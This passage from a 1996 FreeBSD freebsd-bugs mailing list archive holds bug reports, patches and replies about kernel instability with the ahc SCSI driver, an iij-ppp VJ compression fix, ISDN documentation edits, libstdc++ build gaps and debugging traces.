motherboards choke on MemI/O, # so use PIO in the ahc driver in the # generic kernel. Personally, on a Tyan Titan Pro M/B, I've got no problems without this option in place. Gary -- Gary Palmer FreeBSD Core Team Member FreeBSD: Turning PC's into workstations. See http://www.FreeBSD.ORG/ for info From owner-freebsd-bugs Sun Nov 17 20:02:16 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id UAA07265 for bugs-outgoing; Sun, 17 Nov 1996 20:02:16 -0800 (PST) Received: from hauki.clinet.fi (root@hauki.clinet.fi [194.100.0.1]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id UAA07255 for ; Sun, 17 Nov 1996 20:02:10 -0800 (PST) Received: from katiska.clinet.fi (root@katiska.clinet.fi [194.100.0.4]) by hauki.clinet.fi (8.8.2/8.6.4) with ESMTP id GAA04543; Mon, 18 Nov 1996 06:01:51 +0200 (EET) Received: (hsu@localhost) by katiska.clinet.fi (8.8.2/8.6.4) id GAA11056; Mon, 18 Nov 1996 06:01:50 +0200 (EET) Date: Mon, 18 Nov 1996 06:01:50 +0200 (EET) Message-Id: <199611180401.GAA11056@katiska.clinet.fi> From: Heikki Suonsivu To: John Hay Cc: hsu@clinet.fi (Heikki Suonsivu), freebsd-bugs@freefall.freebsd.org Subject: Re: kern/1698: sup from around 21:51 GMT 28th very unstable (mmap, maybe?) In-Reply-To: <199611171044.MAA17585@zibbi.mikom.csir.co.za> References: <199611170855.KAA25317@katiska.clinet.fi> <199611171044.MAA17585@zibbi.mikom.csir.co.za> Organization: Clinet Ltd, Espoo, Finland Sender: owner-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk John Hay writes: > > November 16 kernel is still unstable. For last two kernels I got a > > deadlock within 5 minutes of newsfeed starting up, so something might have > > changed, from crash and filesystem corruption to deadlock. August 19 > > kernel still runs with no serious problems. > > > > Has anyone got a news server running reliably with kernels later than end > > of August (preferably ones with tag RELENG_2_2) ? It seems odd that I can > > repeat this so easily, I would assume a lot of people should see this ? I > > have gotten metoos from (only?) three people now. This problem has been > > there for about 2 months now. > > > > The system is 3940, seagate Hawks for news disks, P120 ASUS TritonII, 96M. > > Exports two NFS disks (not the news partitions). > > > > I have at least an uptime of more than a day. :-) I have rebooted with a > 14 Nov -current kernel yesterday morning and it is still running. The > machine is a 200Mhz Pentium with 128M RAM and a 2940UW controller with > 4 x 2G Hawks. Its got 3 feeds with an average of 180-200k articles per > day and feeds 3 other sites also. Oh if it makes a difference, the news > spool is a ccd disk over all 4 disks with a blocksize of 8k. I'm not using ccd, but separate partitions, if one disk breaks down not all news goes, and adding new disks would seem more troublesome. Could you mail me the kernel config file for this machine ? 180-200k articles seems little to me, we are getting full feed, which probably is around 2G per day ? > The UNINET-ZA which is the South African academic net have 5 feeder > machines that run kernels of 10 Nov. They have uptimes of 4-6 days. The > one with 4 days uptime gave disk errors and I had to reseat the cables. > They have 3 x 2940UW's and 7 x "Quantum XP34300W" wide disks. It looks > as if they also use a blocksize of 8k on their spool disk. They have > dual processor boards with 256M RAM. If you want more info on these > machines have a look at http://www.uni.net.za/config.html > John > -- > John Hay -- John.Hay@mikom.csir.co.za From owner-freebsd-bugs Sun Nov 17 20:30:23 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id UAA08448 for bugs-outgoing; Sun, 17 Nov 1996 20:30:23 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id UAA08438; Sun, 17 Nov 1996 20:30:16 -0800 (PST) Resent-Date: Sun, 17 Nov 1996 20:30:16 -0800 (PST) Resent-Message-Id: <199611180430.UAA08438@freefall.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@freefall.FreeBSD.org, Received: (from nobody@localhost)by.freefall.freebsd.org.id.UAA08013;Sun; (8.7.5/8.7.3);, 17 Nov 1996 20:20:29.-0800 (PST) Message-Id: <199611180420.UAA08013@freefall.freebsd.org> Date: Sun, 17 Nov 1996 20:20:29 -0800 (PST) From: torii@tcd.hitachi.co.jp To: freebsd-gnats-submit@freebsd.org X-Send-Pr-Version: www-1.0 Subject: bin/2046: vjcomp problem in iij-ppp Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >Number: 2046 >Category: bin >Synopsis: vjcomp problem in iij-ppp >Confidential: no >Severity: non-critical >Priority: medium >Responsible: freebsd-bugs >State: open >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sun Nov 17 20:30:11 PST 1996 >Last-Modified: >Originator: Nobuyoshi Torii >Organization: Telecommunications Division, Hitachi, Ltd., Japan >Release: 2.1.0-RELEASE >Environment: FreeBSD pc07098.tcd.hitachi.co.jp 2.1.0-RELEASE FreeBSD 2.1.0-RELEASE #0: Wed Apr 10 10:16:09 JST 1996 root@pc07098.tcd.hitachi.co.jp:/usr/src/sys/compile/FLORA i386 >Description: Ping or UDP packets are sometimes dropped in use of iij-ppp. Iij-ppp attempts to use VJ compress even if the packet is not TCP. PPP packet's protocol field of UDP or ICMP is sometimes filled by COMPRESSED_TCP or UNCOMPRESSED_TCP. Incidentially, iij-ppp log buffer is too small to take async or hdlc logging. >How-To-Repeat: Use ping or tftp put from iij-ppp side. Ping packet loss ratio is about 6 or 7 percent. Tftp put will be faild by timeout. >Fix: *** ppp-2.1.0/vjcomp.c Fri Nov 15 20:41:44 1996 --- ppp.patch/vjcomp.c Fri Nov 15 20:40:55 1996 *************** *** 51,57 **** #ifdef DEBUG logprintf("SendPppFrame: proto = %x\n", IpcpInfo.his_compproto); #endif ! if (cproto== PROTO_VJCOMP) { type = sl_compress_tcp(bp, (struct ip *)MBUF_CTOP(bp), &cslc, IpcpInfo.his_compproto & 0xff); #ifdef DEBUG --- 51,58 ---- #ifdef DEBUG logprintf("SendPppFrame: proto = %x\n", IpcpInfo.his_compproto); #endif ! if (((struct ip *)MBUF_CTOP(bp))->ip_p == IPPROTO_TCP ! && cproto== PROTO_VJCOMP) { type = sl_compress_tcp(bp, (struct ip *)MBUF_CTOP(bp), &cslc, IpcpInfo.his_compproto & 0xff); #ifdef DEBUG *** ppp-2.1.0/log.c Fri Nov 15 20:41:49 1996 --- ppp.patch/log.c Fri Nov 15 20:40:55 1996 *************** *** 41,47 **** #ifdef USELOGFILE static FILE *logfile; #endif ! static char logbuff[2000]; static char *logptr; static struct mbuf *logtop; static struct mbuf *lognext; --- 41,47 ---- #ifdef USELOGFILE static FILE *logfile; #endif ! static char logbuff[MAX_MRU*3+(MAX_MRU/16+1)*22+80]; static char *logptr; static struct mbuf *logtop; static struct mbuf *lognext; >Audit-Trail: >Unformatted: From owner-freebsd-bugs Sun Nov 17 21:13:22 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id VAA10748 for bugs-outgoing; Sun, 17 Nov 1996 21:13:22 -0800 (PST) Received: from hauki.clinet.fi (root@hauki.clinet.fi [194.100.0.1]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id VAA10735; Sun, 17 Nov 1996 21:12:58 -0800 (PST) Received: from katiska.clinet.fi (root@katiska.clinet.fi [194.100.0.4]) by hauki.clinet.fi (8.8.2/8.6.4) with ESMTP id HAA06734; Mon, 18 Nov 1996 07:11:56 +0200 (EET) Received: (hsu@localhost) by katiska.clinet.fi (8.8.2/8.6.4) id HAA13266; Mon, 18 Nov 1996 07:11:55 +0200 (EET) Date: Mon, 18 Nov 1996 07:11:55 +0200 (EET) Message-Id: <199611180511.HAA13266@katiska.clinet.fi> From: Heikki Suonsivu To: "Gary Palmer" Cc: Heikki Suonsivu , Peter Wemm , FreeBSD-gnats@freefall.freebsd.org, freebsd-bugs@freefall.freebsd.org Subject: Re: kern/1698: sup from around 21:51 GMT 28th very unstable (mmap, maybe?) In-Reply-To: <28113.848289326@orion.webspan.net> References: <199611170855.KAA25317@katiska.clinet.fi> <28113.848289326@orion.webspan.net> Organization: Clinet Ltd, Espoo, Finland Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Gary Palmer writes: > <199611170855.KAA25317@katiska.clinet.fi>: > > Has anyone got a news server running reliably with kernels later than end > > of August (preferably ones with tag RELENG_2_2) ? It seems odd that I can > > repeat this so easily, I would assume a lot of people should see this ? I > > have gotten metoos from (only?) three people now. This problem has been > > there for about 2 months now. > > root@news:~> uname -a > FreeBSD news.webspan.net 2.2-CURRENT FreeBSD 2.2-CURRENT #0: Sat Nov 2 13:36:08 EST 1996 gpalmer@news.webspan.net:/usr/src/sys/compile/NEWS i386 > root@news:~> uptime > 10:53PM up 12 days, 9:09, 13 users, load averages: 1.20, 1.18, 1.17 > root@news:~> > > > The system is 3940, seagate Hawks for news disks, P120 ASUS TritonII, 96M. > > Exports two NFS disks (not the news partitions). > > Try putting `AHC_FORCE_PIO' in your config file and see. From GENERIC: > > options "AHC_FORCE_PIO" # Some motherboards choke on MemI/O, > # so use PIO in the ahc driver in the > # generic kernel. > > Personally, on a Tyan Titan Pro M/B, I've got no problems without this > option in place. What happened after end of August ? Was ahc driver using PIO by default ? Is there a list of motherboards which have been verified to work/not work ? > Gary > -- > Gary Palmer FreeBSD Core Team Member > FreeBSD: Turning PC's into workstations. See http://www.FreeBSD.ORG/ for info -- Heikki Suonsivu, T{ysikuu 10 C 83/02210 Espoo/FINLAND, hsu@clinet.fi mobile +358-40-5519679 work +358-9-43542270 fax -4555276 From owner-freebsd-bugs Sun Nov 17 21:17:26 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id VAA10967 for bugs-outgoing; Sun, 17 Nov 1996 21:17:26 -0800 (PST) Received: from mail.webspan.net (mail.webspan.net [206.154.70.7]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id VAA10957; Sun, 17 Nov 1996 21:17:13 -0800 (PST) Received: from orion.webspan.net (orion.webspan.net [206.154.70.5]) by mail.webspan.net (8.7.5/8.7.3) with ESMTP id AAA07187; Mon, 18 Nov 1996 00:16:22 -0500 (EST) Received: from orion.webspan.net (localhost [127.0.0.1]) by orion.webspan.net (8.7.5/8.7.3) with ESMTP id AAA03522; Mon, 18 Nov 1996 00:16:21 -0500 (EST) To: Heikki Suonsivu cc: Peter Wemm , FreeBSD-gnats@freefall.freebsd.org, freebsd-bugs@freefall.freebsd.org From: "Gary Palmer" Subject: Re: kern/1698: sup from around 21:51 GMT 28th very unstable (mmap, maybe?) In-reply-to: Your message of "Mon, 18 Nov 1996 07:11:55 +0200." <199611180511.HAA13266@katiska.clinet.fi> Date: Mon, 18 Nov 1996 00:16:20 -0500 Message-ID: <3518.848294180@orion.webspan.net> Sender: owner-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Heikki Suonsivu wrote in message ID <199611180511.HAA13266@katiska.clinet.fi>: > What happened after end of August ? Was ahc driver using PIO by default ? Justin re-wrote the driver a couple of weeks ago to use DMA instead of PIO for certain operations. > Is there a list of motherboards which have been verified to work/not work ? Sorry, not that I know of. Gary -- Gary Palmer FreeBSD Core Team Member FreeBSD: Turning PC's into workstations. See http://www.FreeBSD.ORG/ for info From owner-freebsd-bugs Sun Nov 17 21:30:18 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id VAA11737 for bugs-outgoing; Sun, 17 Nov 1996 21:30:18 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id VAA11720; Sun, 17 Nov 1996 21:30:12 -0800 (PST) Resent-Date: Sun, 17 Nov 1996 21:30:12 -0800 (PST) Resent-Message-Id: <199611180530.VAA11720@freefall.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@freefall.FreeBSD.org, root@tolstoy.mpd.ca Received: from tolstoy.mpd.ca (wlloyd.HIP.CAM.ORG [199.84.42.209]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id VAA11144 for ; Sun, 17 Nov 1996 21:20:34 -0800 (PST) Received: (from root@localhost) by tolstoy.mpd.ca (8.7.5/8.7.3) id AAA13450; Mon, 18 Nov 1996 00:22:24 -0500 (EST) Message-Id: <199611180522.AAA13450@tolstoy.mpd.ca> Date: Mon, 18 Nov 1996 00:22:24 -0500 (EST) From: root@tolstoy.mpd.ca Reply-To: root@tolstoy.mpd.ca To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.2 Subject: docs/2047: isdn.sgml changes Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >Number: 2047 >Category: docs >Synopsis: isdn.sgml changes >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sun Nov 17 21:30:06 PST 1996 >Last-Modified: >Originator: wlloyd@mpd.ca >Organization: >Release: FreeBSD 2.1.5-STABLE i386 >Environment: FreeBSD 2.2 >Description: isdn.sgml changes Spelling error corrected. Changes and update on isdn code now removed from source tree. >How-To-Repeat: >Fix: *** isdn.sgml.orig Sun Oct 20 13:02:04 1996 --- isdn.sgml Sun Nov 17 23:55:52 1996 *************** *** 3,12 **** ISDN !

Last modicified by &a.wlloyd;. ! !

ISDN for FreeBSD is still largely under developement. Specifically, ! there are a lack of drivers for PC ISDN cards.

A good resource for information on ISDN technology and hardware is !

Last modified by &a.wlloyd;.

A good resource for information on ISDN technology and hardware is supporting FreeBSD 2.1R, FreeBSD-current and NetBSD. --- 30,48 ---- ISDN Cards !

Original Contribution by &a.hm;.

This section is really only relevant to European ISDN users. The cards supported are not yet(?) availible for North American ISDN standards. + +

You should be aware that this code is largely under development. Specifically, drivers have only been written for two manufacturers cards.

PC ISDN cards support the full bandwidth of ISDN, 128Kbs. These cards are often the least expensive type of ISDN equipment. +

Under FreeBSD 2.1.0 and 2.1.5, there is early unfinished ISDN code under /usr/src/gnu/isdn. This code is out of date and should not be used. If you want to go this route, get the bisdn stuff. This code has been removed from the main source tree starting with FreeBSD 2.2. +

There is the bisdn ISDN package available from supporting FreeBSD 2.1R, FreeBSD-current and NetBSD. *************** *** 55,66 **** Dr. Neuhaus - Niccy 1016 ! There are several limitations with the bisdn stuff. ! Specifically the following features usually associated with ISDN are not ! supported. ! No PPP support, only raw hdlc. This means you cannot connect to a ! some standalone routers, such as a Cisco unit. Bridging Control Protocol not supported. Multiple cards are not supported. No bandwidth on demand. --- 56,66 ---- Dr. Neuhaus - Niccy 1016 ! There are several limitations with the bisdn stuff. Specifically the following features usually associated with ISDN are not supported. ! ! No PPP support, only raw hdlc. This means you cannot connect to most ! standalone routers. Bridging Control Protocol not supported. Multiple cards are not supported. No bandwidth on demand. *************** *** 168,174 **** Branch office or Home network Network is 10 Base T ethernet. Connect router to network cable with ! AUI/10bT transciever if necessary. ---Sun workstation --- 168,174 ---- Branch office or Home network Network is 10 Base T ethernet. Connect router to network cable with ! AUI/10BT transciever, if necessary. ---Sun workstation *************** *** 205,219 **** have 2 SEPERATE INDEPENDANT PPP connections to 2 separate sites at the SAME time. This is not supported on most TA's, except for specific(expensive) models that have two serial ports. Do not confuse ! this with channel bonding. ! This is a very usefull feature for example if you have an dedicated internet ISDN connection at your office and would like to tap into it, but don't want to get another ISDN line at work. A router at the office location can manage a dedicated B channel connection (64Kbs) to the ! internet as well as a use the other B channel for anything else, ! including dialin or dialout to another location or dynamically bonding ! it with the internet connection for more bandwidth. - An alternate use of this is to connect to 2 different branch offices at - the same time from the same ISDN line at your central office. --- 205,218 ---- have 2 SEPERATE INDEPENDANT PPP connections to 2 separate sites at the SAME time. This is not supported on most TA's, except for specific(expensive) models that have two serial ports. Do not confuse ! this with channel bonding, MPP etc. ! This can be very usefull feature, for example if you have an dedicated internet ISDN connection at your office and would like to tap into it, but don't want to get another ISDN line at work. A router at the office location can manage a dedicated B channel connection (64Kbs) to the ! internet, as well as a use the other B channel for a seperate data connection. ! The second B channel can be used for dialin, dialout or dynamically bond(MPP etc.) with the first B channel for more bandwidth. ! !

An ethernet bridge will also allow you to transmit more than just IP traffic, you can also send IPX/SPX or whatever other protocols you use.

>Audit-Trail: >Unformatted: From owner-freebsd-bugs Sun Nov 17 21:30:26 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id VAA11755 for bugs-outgoing; Sun, 17 Nov 1996 21:30:26 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id VAA11738; Sun, 17 Nov 1996 21:30:20 -0800 (PST) Resent-Date: Sun, 17 Nov 1996 21:30:20 -0800 (PST) Resent-Message-Id: <199611180530.VAA11738@freefall.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@freefall.FreeBSD.org, Received: (from nobody@localhost)by.freefall.freebsd.org.id.VAA11301;Sun; (8.7.5/8.7.3);, 17 Nov 1996 21:23:46.-0800 (PST) Message-Id: <199611180523.VAA11301@freefall.freebsd.org> Date: Sun, 17 Nov 1996 21:23:46 -0800 (PST) From: nao@tom-yam.or.jp To: freebsd-gnats-submit@freebsd.org X-Send-Pr-Version: www-1.0 Subject: kern/2048: GENERIC kernel lacks SYSV IPC features Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >Number: 2048 >Category: kern >Synopsis: GENERIC kernel lacks SYSV IPC features >Confidential: no >Severity: serious >Priority: high >Responsible: freebsd-bugs >State: open >Class: change-request >Submitter-Id: current-users >Arrival-Date: Sun Nov 17 21:30:15 PST 1996 >Last-Modified: >Originator: Naoki Hamada >Organization: none >Release: 2.2-ALPHA >Environment: FreeBSD brezza.sbl.cl.nec.co.jp 2.2-ALPHA FreeBSD 2.2-ALPHA #0: Wed Nov 13 15:29:19 1996 jkh@time.cdrom.com:/usr/src/sys/compile/GENERIC i386 >Description: GENERIC kernel lacks SYSV IPC features (semaphore, shared memory, etc.) which is required by XFree86 S3 server. >How-To-Repeat: Run XFree86 X3 server with GENERIC kernel. >Fix: Add these lines to the sys/i386/isa/GENERIC configure file: options SYSVSHM options SYSVSEM options SYSVMSG =2 >Audit-Trail: >Unformatted: From owner-freebsd-bugs Sun Nov 17 23:14:04 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id XAA17569 for bugs-outgoing; Sun, 17 Nov 1996 23:14:04 -0800 (PST) Received: from freefall.freebsd.org (localhost.cdrom.com [127.0.0.1]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id XAA17556; Sun, 17 Nov 1996 23:13:56 -0800 (PST) Message-Id: <199611180713.XAA17556@freefall.freebsd.org> To: Heikki Suonsivu cc: Peter Wemm , FreeBSD-gnats@freefall.freebsd.org, freebsd-bugs@freefall.freebsd.org Subject: Re: kern/1698: sup from around 21:51 GMT 28th very unstable (mmap, maybe?) In-reply-to: Your message of "Sun, 17 Nov 1996 10:55:03 +0200." <199611170855.KAA25317@katiska.clinet.fi> Date: Sun, 17 Nov 1996 23:13:53 -0800 From: "Justin T. Gibbs" Sender: owner-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >Has anyone got a news server running reliably with kernels later than end >of August (preferably ones with tag RELENG_2_2)? You really shouldn't be tracking RELENG_2_2 yet. The bits in there are far from stable yet and most importantly, the work to fix the aic7xxx driver is not happening on that branch (it will only be merged in once I'm satisfied its stable). >It seems odd that I can >repeat this so easily, I would assume a lot of people should see this ? I >have gotten metoos from (only?) three people now. This problem has been >there for about 2 months now. This problem has been discussed on the lists before. You have a motherboard that cannot handle memory mapped I/O. The code on the 2.2 branch requires you to use the AHC_FORCE_PIO option. The code in current defaults to using PIO unless AHC_ALLOC_MEMIO is used. -- Justin T. Gibbs =========================================== FreeBSD: Turning PCs into workstations =========================================== From owner-freebsd-bugs Mon Nov 18 05:50:16 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id FAA10313 for bugs-outgoing; Mon, 18 Nov 1996 05:50:16 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id FAA10291; Mon, 18 Nov 1996 05:50:13 -0800 (PST) Resent-Date: Mon, 18 Nov 1996 05:50:13 -0800 (PST) Resent-Message-Id: <199611181350.FAA10291@freefall.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@freefall.FreeBSD.org, cracauer@cons.org Received: from knight.cons.org (knight.cons.org [194.233.237.86]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id FAA09946 for ; Mon, 18 Nov 1996 05:42:26 -0800 (PST) Received: (from cracauer@localhost) by knight.cons.org (8.7.5/8.7.3) id OAA28588; Mon, 18 Nov 1996 14:43:51 +0100 (MET) Message-Id: <199611181343.OAA28588@knight.cons.org> Date: Mon, 18 Nov 1996 14:43:51 +0100 (MET) From: cracauer@cons.org Reply-To: cracauer@cons.org To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.2 Subject: gnu/2050: gnu/libstdc++ files are in source tree, but don't make it into lib Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >Number: 2050 >Category: gnu >Synopsis: libstdc++ missed three source files >Confidential: no >Severity: critical >Priority: high >Responsible: freebsd-bugs >State: open >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Mon Nov 18 05:50:09 PST 1996 >Last-Modified: >Originator: Martin Cracauer >Organization: private >Release: FreeBSD RELENG_2_2 and FreeBSD 3.0-current >Environment: FreeBSD RELENG_2_2 and FreeBSD 3.0-current >Description: the files from directory /usr/src/contrib/libg++/libstdc++/stl should be included in /usr/lib/libstdc++.{a,so...}, but they are missing from the Makefile /usr/src/gnu/lib/libstdc++/Makefile As a reult, most application using the stl will not work. These include the popular guavac JAVA compiler. >How-To-Repeat: Try to build guavac (a Java compiler) from ports. >Fix: Diff below. Remember, this is both for RELENG_2_2 and 3.0-current =================================================================== RCS file: src/gnu/lib/libstdc++/Makefile,v retrieving revision 1.1 diff -r1.1 Makefile 7c7 < .PATH: ${GPPDIR}/libstdc++ ${GPPDIR}/libio ${GPPDIR}/libiberty --- > .PATH: ${GPPDIR}/libstdc++ ${GPPDIR}/libstdc++/stl ${GPPDIR}/libio ${GPPDIR}/libiberty 40c40 < projectn.h set.h stack.h tempbuf.h tree.h vector.h --- > projectn.h set.h stack.h tempbuf.h tree.h vector.h 43c43,45 < stdexcepti.cc cstdlibi.cc cmathi.cc --- > stdexcepti.cc cstdlibi.cc cmathi.cc \ > random.cc tree.cc tempbuf.cc > >Audit-Trail: >Unformatted: From owner-freebsd-bugs Mon Nov 18 08:31:18 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id IAA25464 for bugs-outgoing; Mon, 18 Nov 1996 08:31:18 -0800 (PST) Received: from nimbus.superior.net (root@nimbus.superior.net [206.153.96.1]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id IAA25442; Mon, 18 Nov 1996 08:31:04 -0800 (PST) Received: (from exidor@localhost) by nimbus.superior.net (8.7.6/8.7.5) id LAA24415; Mon, 18 Nov 1996 11:31:02 -0500 (EST) Message-Id: <199611181631.LAA24415@nimbus.superior.net> Date: Mon, 18 Nov 1996 11:31:02 -0500 From: exidor@superior.net (Christopher Masto) To: chat@freebsd.org, bugs@freebsd.org Subject: Problems with 2.1.6-RELEASE X-Mailer: Mutt 0.48.1 Mime-Version: 1.0 Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk ftp.freebsd.org Can't complete download, site is too loaded ftp2.freebsd.org 2.1.6-RELEASE not present Mirror looks ancient - recent snapshots of 2.2 missing ftp3.freebsd.org XFree86 missing from 2.1.6 distribution ftp4.freebsd.org Does not respond to FTP ftp5.freebsd.org XFree86 missing from 2.1.6 distribution ftp6.freebsd.org Many files missing from 2.1.6 distribution ftp7.freebsd.org unknown host. -- Christopher Masto . . . . Superior Net Support: support@superior.net chris@masto.com . . . . . Masto Consulting: info@masto.com On Redundancy: I'm for abolishing and doing away with redundancy. - J. Curtis McKay of the Wisconsin State Elections Board. From owner-freebsd-bugs Mon Nov 18 09:47:40 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id JAA00733 for bugs-outgoing; Mon, 18 Nov 1996 09:47:40 -0800 (PST) Received: from george.lbl.gov (george-2.lbl.gov [131.243.2.12]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id JAA00727 for ; Mon, 18 Nov 1996 09:47:39 -0800 (PST) Received: (jin@localhost) by george.lbl.gov (8.6.10/8.6.5) id JAA07051; Mon, 18 Nov 1996 09:47:12 -0800 Date: Mon, 18 Nov 1996 09:47:12 -0800 From: "Jin Guojun[ITG]" Message-Id: <199611181747.JAA07051@george.lbl.gov> To: joerg_wunsch@uriah.heep.sax.de Subject: Re: diff somehow does not work properly in 2.2-ALPHA Cc: bugs@FreeBSD.org Sender: owner-bugs@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk I placed the ktrace.out at ftp://george.lbl.gov/pub/tmp/ktrace.out This time is : # diff ~jin/services /etc because "# diff ~jin/src/unix/bsd44/etc/backup/services /etc" works somehow. The real diff is: --------------------------------------------------------------------------- iss-p1.lbl.gov: diff ~/services /etc 12c12 < # $Id: services,v 1.27 1996/09/13 01:52:49 pst Exp $ --- > # $Id: services,v 1.11.4.7 1996/06/17 09:17:16 jkh Exp $ 904d903 < skkserv 1178/tcp #SKK (kanji input) 1371a1371,1374 > s_master 1900/tcp magic_master > s_master 1910/udp magic_master > stest0 1920/tcp > stest0 1920/udp 1496,1498d1498 < zephyr-clt 2103/udp #Zephyr serv-hm connection < zephyr-hm 2104/udp #Zephyr hostmanager < zephyr-hm-srv 2105/udp #Zephyr hm-serv connection 1520d1519 < sj3 3086/tcp #SJ3 (kanji input) 1564,1565c1563 < fax 4557/tcp #FAX transmission service < hylafax 4559/tcp #HylaFAX client-server protocol --- > fax 4557/tcp # FAX transmission service 1673d1670 < amanda 10080/udp #Dump server control --------------------------------------------------------------------------- It seems that the problem is only with root. }As Jin Guojun[ITG] wrote: }> # uname -a }> FreeBSD iss-p1.lbl.gov 2.2-ALPHA FreeBSD 2.2-ALPHA #0: Thu Nov 14 13:16:47 PST } 1996 root@iss-p1.lbl.gov:/usr/src/sys/compile/ATM i386 }> # }> # diff ~jin/src/unix/bsd44/etc/backup/services /etc }> diff: write error } }Can you ktrace it to see which file it tries to write? } }-- }cheers, J"org From owner-freebsd-bugs Mon Nov 18 11:01:44 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id LAA04664 for bugs-outgoing; Mon, 18 Nov 1996 11:01:44 -0800 (PST) Received: from george.lbl.gov (george-2.lbl.gov [131.243.2.12]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id LAA04642; Mon, 18 Nov 1996 11:01:37 -0800 (PST) Received: (jin@localhost) by george.lbl.gov (8.6.10/8.6.5) id LAA10595; Mon, 18 Nov 1996 11:01:35 -0800 Date: Mon, 18 Nov 1996 11:01:35 -0800 From: "Jin Guojun[ITG]" Message-Id: <199611181901.LAA10595@george.lbl.gov> To: hakers@freebsd.org Subject: Re: MAXUSERS (was what is changed for ARP in 2.2-SNAP) Cc: bugs@freebsd.org, jin@george.lbl.gov, questions@freebsd.org Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > In message <199611041928.LAA17022@george.lbl.gov> you write: > >If some one would tell me what is core change for the ARP, so I can make > >corresponding change in the ATM, it will be appriciated. >... > That was caused by maxusers which is limited to 15 in 2.2-SNAP ... Actually, it is limited by NMBCLUSTERS = (512 + MAXUSERS * 16) in conf/param.c 2.2-ALPHA works better, which NMBCLUSTERS can be (512 + 18 * 16) On same motherboard, the limit can be changed when the CPU clock changes. For example, on Intel PT-2000 motherboard, if CPU clock is 100 MHz, the limit of the maxusers for NMBCLUSTERS could vary from 0, 3 - 15 (some Motherboard does not work at all). Changing CPU clock up to 120 MHz, the limit will stay at 15. (2.2-SNAPs) I thought that might be caused by page boundary, but it doesn't look like according to the behaves above. I will keep to track down the problem further. In the meantime, if any one has some idea what could cause this kind of problems, please let me know. Thanks, -Jin From owner-freebsd-bugs Mon Nov 18 11:20:05 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id LAA05884 for bugs-outgoing; Mon, 18 Nov 1996 11:20:05 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id LAA05866; Mon, 18 Nov 1996 11:20:03 -0800 (PST) Date: Mon, 18 Nov 1996 11:20:03 -0800 (PST) Message-Id: <199611181920.LAA05866@freefall.freebsd.org> To: freebsd-bugs Cc: From: Dan Cross Subject: kern/2043 Reply-To: Dan Cross Sender: owner-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk The following reply was made to PR kern/2043; it has been noted by GNATS. From: Dan Cross To: freebsd-gnats-submit@freebsd.org Cc: Subject: kern/2043 Date: Mon, 18 Nov 1996 14:18:35 -0500 Here's kdump output from a sample vi session where vi exits with errno set to EFAULT. - Dan C. --- 1211 ktrace RET ktrace 0 1211 ktrace CALL readlink(0x8065d3a,0xefbfd260,0x3f) 1211 ktrace NAMI "/etc/malloc.conf" 1211 ktrace RET readlink -1 errno 2 No such file or directory 1211 ktrace CALL mmap(0,0x1000,0x3,0x1002,0xffffffff,0,0,0) 1211 ktrace RET mmap 134324224/0x801a000 1211 ktrace CALL break(0x5000) 1211 